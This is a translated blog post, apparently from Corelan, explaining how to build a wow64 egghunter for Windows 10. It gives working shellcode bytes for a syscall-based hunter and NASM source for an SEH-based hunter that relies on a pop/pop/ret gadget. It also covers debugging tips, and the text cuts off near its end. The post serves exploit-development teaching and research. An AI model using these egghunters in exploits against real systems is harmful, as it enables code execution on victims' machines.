Windows 10 下的 Egghunter 技术解析与实现

本文详细介绍了在 Windows 10 环境下开发 wow64 egghunter 的技术细节,包括系统调用更新、SEH 异常处理机制的应用,并提供了可运行的汇编代码和调试技巧,适用于漏洞利用和 shellcode 开发的研究。

Windows 10 Egghunter(wow64)及更多内容

引言

好吧,我得承认,我一直对 egghunter 有些着迷。但这并不意味着我喜欢仅仅因为它功能酷炫就使用(或滥用)egghunter。实际上,我认为尽量避免使用 egghunter 是更好的做法,因为它们往往会拖慢速度。我的意思是,我对在不使进程崩溃的情况下搜索内存的技术感到着迷。这只是个人兴趣,并不太重要。

真正重要的是 Corelan Team 回来了。好吧,是我回来了。这是我近三年来的第一篇(技术性)文章,也是自 Corelan Team 在那之前逐渐“淡出”以来的第一篇文章。(实际上,我很好奇(部分)原始 Corelan Team 成员是否能够再次抽出时间联手开始进行/发表一些研究。我当然希望如此,但让我们拭目以待。)

正如你们中的一些人已经知道的,我最近离开了我的日常工作。(说来话长,这篇文章里讲不完。很高兴边喝边聊细节。)我成立了一家名为“Corelan Consulting”的新公司,试图通过漏洞利用开发培训和网络安全咨询谋生。培训进展顺利,2019 年几乎已经排满,并且已经在规划 2020 年的课程。你可以在这里找到培训日程。如果你有兴趣在你的公司或会议上举办 Corelan Bootcamp 或 Corelan Advanced 课程——先看看推荐信,然后联系我 :) 我仍然需要提高我在锁定咨询项目方面的销售技巧,但我相信最终一切都会顺利的。(是的,如果你想和我合作,请联系我,我可以兼职从事治理/风险管理和评估工作 ;-))

无论如何,在构建 2019 版 Corelan Bootcamp、为 Windows 10 更新材料时,我意识到 Lincoln 编写的 Windows 7 的 wow64 egghunter 在 Windows 10 上不再工作。事实上,我有点预料到它会失败,因为我们已经知道 Microsoft 在每个主要的 Windows 版本中都会更改系统调用号。由于最常用的 egghunter 机制基于系统调用的使用,很明显,更改号码会破坏 egghunter。

顺便说一下:系统调用(及其编号)在这里有记录:https://j00ru.vexillium.org/syscalls/nt/64/(感谢 Mateusz “j00ru” Jurczyk)。你可以在上述网站的表格中找到“NtAccessCheckAndAuditAlarm”系统调用号的演变。

无论如何,更改系统调用号听起来并不太令人兴奋或困难,但同样清楚的是,参数和堆栈布局、Windows 10 中系统调用的行为也与 Windows 7 版本不同。

我们发现了一些流传的 win10 egghunter PoC,但发现它们在真实漏洞利用中并不能可靠工作。Lincoln 研究了一会儿,做了一些调试,并制作了一个适用于 Windows 10 的版本。:)

所以,这意味着我们很自豪能够宣布一个适用于 Windows 10 的(wow64)egghunter。下面的版本已经在真实漏洞利用和目标中进行了测试。

wow64 Egghunter for Windows 10

如前所述,挑战在于找出新的系统调用期望其参数的位置和方式,它如何更改寄存器和堆栈以确保参数始终处于正确的位置,并提供预期的功能:测试给定页面是否可访问,并且在此过程中不使进程死亡。

这是更新后的例程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"\x33\xD2"              #XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  #OR DX,0FFF
"\x33\xDB"              #XOR EBX,EBX
"\x42"                  #INC EDX
"\x52"                  #PUSH EDX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x6A\x29"              #PUSH 29  (system call 0x29)
"\x58"                  #POP EAX
"\xB3\xC0"              #MOV BL,0C0
"\x64\xFF\x13"          #CALL DWORD PTR FS:[EBX] (perform the system call)
"\x83\xC4\x10"          #ADD ESP,0x10
"\x5A"                  #POP EDX
"\x3C\x05"              #CMP AL,5
"\x74\xE3"              #JE SHORT
"\xB8\x77\x30\x30\x74"  #MOV EAX,74303077
"\x8B\xFA"              #MOV EDI,EDX
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              #JNZ SHORT
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              #JNZ SHORT
"\xFF\xE7"              #JMP EDI

这个 egghunter 在 Windows 10 上运行良好,但它假设你在 wow64 环境(64 位操作系统上的 32 位进程)中运行。当然,正如 Lincoln 在他的博客文章中所解释的,你可以简单地添加一个检查来确定架构,并使 egghunter 也能在原生 32 位操作系统上工作。

你也可以用 mona.py 生成这个 egghunter——只需运行 !mona egg -wow64 -winver 10

在调试这个 egghunter(或任何使用系统调用的 wow64 egghunter)时,你会注意到系统调用执行期间会发生访问违规。这些访问违规可以安全地通过,并由操作系统处理……但调试器每次看到访问违规时都会中断。(本质上,当代码尝试测试不可读的页面时,调试器会中断。换句话说,你会得到大量的访问违规,需要你手动干预。)

如果你使用 Immunity Debugger,你可以简单地告诉调试器忽略访问违规。为此,点击“debugging options”,打开“exceptions”选项卡。在“Add range”下添加以下十六进制值:

1
2
0xC0000005 – ACCESS VIOLATION
0x80000001 – STATUS_GUARD_PAGE_VIOLATION

当然,当你完成调试 egghunter 后,不要忘记再次删除这两个异常 :-)

展望未来

当然,微软有权在其操作系统中更改他们想要的任何内容。我认为开发人员不应该自己发出系统调用,我相信他们应该使用 ntdll.dll 中的包装函数。换句话说,微软更改系统调用号应该是“安全”的。我不知道每个 Windows 版本系统调用号递增背后的原因,而且我不知道系统调用号是否会永远保持不变,因为 Windows 10 已被标记为“最后一个 Windows 版本”。从 egghunter 的角度来看,那将是很棒的。随着越来越多的人采用 Windows 10,egghunter 的成功率也会越来越高。但实际上,我不知道这是否是一个有效的假设。

无论如何,这让我思考:是否有一种不同的技术可以使 egghunter 工作,而不使用系统调用?如果存在,这种技术是否也能在旧版本的 Windows 上工作?如果我们不使用系统调用,它是否能直接在原生 x86 和 wow64 环境中工作?

让我们看看。

异常处理

关于 egghunter 的原始论文(“Safely Searching Process Virtual Address Space”,由 skape 于 2004 年撰写!)已经介绍了使用自定义异常处理程序来处理访问违规的方法,如果你尝试从不可访问的页面读取,就会发生访问违规。通过使处理程序指回 egghunter,egghunter 将能够继续运行。不幸的是,原始实现似乎不再有效。在进行一些测试时(很多年前,以及最近在 Windows 10 上),看起来操作系统并不真正允许你让异常处理程序直接指向堆栈(没有尝试堆,但我预计存在相同的限制)。换句话说,如果 egghunter 从堆栈或堆运行,你将无法让 egghunter 使用自身作为异常处理程序并继续运行。

在寻找可能的解决方案之前,让我们提醒自己异常处理机制是如何工作的。当操作系统看到异常并决定将其传递给进程中的相应线程时,它将指示 ntdll.dll 中的一个函数在该线程内启动异常处理机制。此例程将检查偏移量 0 处的 TEB(可通过 FS:[0] 访问),并检索堆栈上异常处理链中最顶层的记录的地址。每条记录包含 2 个字段:

1
2
3
4
struct EXCEPTION_REGISTRATION {
   EXCEPTION_REGISTRATION *nextrecord; // 指向下一条记录的指针 (nseh)
   DWORD handler; // 指向处理程序函数的指针
};

最顶层的记录包含将首先被调用的例程的地址,以检查应用程序是否能处理该异常。如果该例程失败,将尝试链中的下一条记录(直到其中一个例程能够处理异常,或者使用默认处理程序,将进程送入天堂)。所以,换句话说,ntdll.dll 中的例程将找到记录,并调用“handler”地址(即放置在记录第二个字段中的任何内容)。

所以,将其转化为 egghunter 世界:如果我们想在异常发生时保持对情况的控制,我们必须创建一个自定义的“最顶层”SEH 记录,确保在 egghunter 执行期间它始终是最顶层的记录,并且我们必须使记录处理程序指向一个允许我们的 egghunter 继续运行并处理下一页的例程。同样,如果我们的“自定义”记录是最顶层的记录,我们可以确定它将是第一个被使用的记录。

当然,我们应该小心,并考虑运行异常处理机制的后果和影响:

  • 异常处理机制将更改 ESP 的值。该功能将在新的 ESP 位置创建一个“异常分发器堆栈”帧,其中指向原始 SEH 帧的指针位于 ESP+8。我们必须“撤销”对 ESP 的更改,以确保它指回堆栈上 egghunter 存储其数据的区域。
  • 其次,我们也应该避免一直创建新记录。相反,我们应该尝试继续使用相同的记录,避免一直向堆栈推送数据,避免堆栈空间耗尽。此外,当然,egghunter 需要能够从内存中的任何位置运行。
  • 最后,我们作为“SE 处理程序”(记录的第二个字段)放入的任何内容都必须是 SAFESEH 兼容的。不幸的是,这是我的“解决方案”的弱点。此外,如果 SEHOP 处于活动状态,我的例程将无法工作。(但据我所知,在客户端系统上默认不活动。)

创建我们自己的自定义 SEH 记录意味着我们将向堆栈写入一些内容,覆盖/损坏已经存在的内容。所以,如果你的 egghunter/shellcode 也在堆栈上的该位置附近,你可能需要在运行 egghunter 之前调整 ESP。只是提一下 :)

这是我的基于 SEH 的 egghunter 的样子(准备用 nasm 编译):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
; Universal SEH based egg hunter (x86 and wow64)
; tested on Windows 7 & Windows 10
; written by Peter Van Eeckhoutte (corelanc0d3r)
; www.corelan.be - www.corelan-training.com - www.corelan-consulting.com
;
; warning: will damage stack around ESP
;
; usage: find a non-safeseh protected pointer to pop/pop/ret and put it in the placeholder below
;

[BITS 32]
CALL $+4            ; getPC routine
RET
POP ECX
ADD ECX,0x1d            ; offset to "handle" routine

;set up SEH record
XOR EBX,EBX
PUSH ECX            ; remember where our 'custom' SE Handler routine will be
PUSH ECX            ; p/p/r will fly over this one
PUSH 0x90c3585c         ; trigger p/p/r again :)
PUSH 0x44444444         ; Replace with P/P/R address  ** PLACEHOLDER **
PUSH 0x04EB5858         ; SHORT JUMP
MOV DWORD [FS:EBX],ESP      ; put our SEH record to top of chain

JMP nextpage

handle:             ; our custom handle
    SUB ESP,0x14        ; undo changes to ESP
    XOR EBX,EBX
    MOV DWORD [FS:EBX],ESP  ; make our SEH record topmost again
    MOV EDX, [ESP+24]   ; pick up saved EDX
    INC EDX

nextpage:
    OR DX, 0x0FFF
    INC EDX
    MOV [ESP+24], EDX   ; remember where we are searching
    MOV EAX, 0x74303077 ; w00t
    MOV EDI, EDX
    SCASD
    JNZ nextpage+5
    SCASD
    JNZ nextpage+5
    JMP EDI

让我们看看 egghunter 的各个组成部分。

首先,hunter 以一个“GetPC”例程开始(旨在找到其自身在内存中的绝对地址),后面跟着一条指令,该指令将 0x1d 字节添加到它使用该 GetPC 例程能够检索到的地址。添加此偏移量后,ECX 将包含实际“处理程序”例程在内存中的绝对地址(在上面代码中由标签“handle”引用)。请记住,egghunter 需要能够在运行时动态确定此位置,因为 egghunter 将使用异常处理程序机制返回自身并继续运行 egghunter。这意味着我们需要知道(确定)它在哪里,将引用存储在堆栈上,以便我们可以在异常处理机制期间稍后“检索/跳转”到它。

接下来,代码正在创建一个新的自定义 SEH 记录。虽然 SEH 记录只包含 2 个字段,但代码实际上将 5 个特殊构造的值压入堆栈。只有最后 2 个将成为 SEH 记录,其他几个用于允许异常处理程序恢复 ESP 并继续执行 egghunter。让我们看看压入了什么以及为什么:

  • PUSH ECX:这是“handle”例程在内存中的地址,由之前的 GetPC 例程确定。异常处理程序最终需要返回到这个地址。
  • PUSH ECX:我们再次压入地址,但这个不会被使用。我们将两次使用 pop/pop/ret 指针。第一次将用于异常处理程序将执行带回我们的代码,第二次将用于返回到存储在堆栈上的“ECX”。第二个 ECX 只是为了补偿 p/p/r 中的第二个 POP。你可以在堆栈上压入任何你喜欢的内容。
  • PUSH 0x90c3585C:这段代码将被执行。它是 POP ESP, POP EAX, RET。这将把堆栈重置回我们存储 SEH 记录的堆栈上的原始位置。RET 将把执行转移回堆栈上的 p/p/r 指针(SEH 记录的一部分)。换句话说,p/p/r 指针将被使用两次。第二次,它最终将返回到存储在堆栈上的 ECX 地址。(参见之前的 PUSH ECX 指令)
  • 接下来,通过再压入 2 个值到堆栈来创建真正的 SEH 记录:
    • 指向 P/P/R 的指针(必须是非 safeseh 保护的指针)。我们必须使用 p/p/r,因为我们不能让这个处理程序字段直接指向堆栈(或堆)。由于我们不能仅仅让异常机制直接返回我们的代码,我们将使用 pop/pop/ret 来保持对执行流的控制。在上面的代码中,你必须将 0x44444444 值替换为非 SafeSEH 保护的 pop/pop/ret 的地址。然后,当异常发生时(即当 egghunter 到达不可访问的页面时),pop/pop/ret 将第一次被触发执行,返回到 SEH 记录第一个字段中的 4 个字节。
    • 在 SEH 记录的第一个字段中,我放置了 2 个 pop 和一个短跳转向前序列。这将稍微调整堆栈,使指向 SEH 记录的指针位于堆栈顶部。接下来它将跳转到之前压入堆栈的指令序列(0x90C3585C)。如前所述,该序列将再次触发 POP/POP/RET,最终将返回到存储的 ECX 指针(即 egghunter 所在的位置)。

为了完成 SEH 记录的创建并将其标记为最顶层的记录,我们只需将其位置写入 TEB。由于我们的新自定义 SEH 记录当前位于 ESP,我们可以简单地将 ESP 的值写入偏移量 0 处的 TEB(MOV DWORD [FS:EBX],ESP)。(这就是我们首先清除 EBX 的原因。)

此时,egghunter 已准备好测试页面是否可读。代码将使用 EDX 作为读取的参考位置。例程首先转到页面末尾(OR DX, 0x0FFF),然后转到下一页的开头(INC EDX),然后我们将 EDX 的值存储在堆栈上(在 [ESP-4]),以便异常处理程序稍后可以获取它。如果读取尝试(SCASD)失败,将触发访问违规。访问违规将使用我们的自定义 SEH 记录(因为它应该是最顶层的记录),并且该例程设计为恢复 egghunter 的执行(通过运行“handle”例程,该例程最终将从堆栈恢复 EDX 指针并继续处理下一页)。“handle”例程将:

  • 再次调整堆栈,将其位置校正到运行 egghunter 时应在的位置。(SUB ESP,0x14
  • 接下来,它将确保我们的自定义记录再次成为最顶层的 SEH 记录(只是预见到某些其他代码可能添加了新的最顶层记录)。
  • 最后,它将从堆栈中获取一个引用(我们存储最后尝试访问的地址的位置)并继续(处理下一页)。

如果页面可读,egghunter 将检查标签的存在,两次。如果找到标签,最终的“JMP EDI”将告诉 CPU 运行紧接在双标签之后放置的代码。

在调试 egghunter 时,你会注意到它会抛出访问违规(当代码尝试访问不可访问的页面时)。当然,在这种情况下,这些访问违规是完全正常的,但你仍然必须将异常传递回应用程序(Shift F9)。你也可以配置 Immunity Debugger 自动忽略(并传递)异常,通过配置 Exceptions。为此,点击“debugging options”,打开“exceptions”选项卡。在“Add range”下添加以下十六进制值:

1
2
0xC0000005 – ACCESS VIOLATION
0x80000001 – STATUS_GUARD_PAGE_VIOLATION

当然,当你完成调试 egghunter 后,不要忘记再次删除这两个异常。

为了使用 egghunter,你需要先将 asm 指令转换为操作码。为此,你需要安装 nasm。(我

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计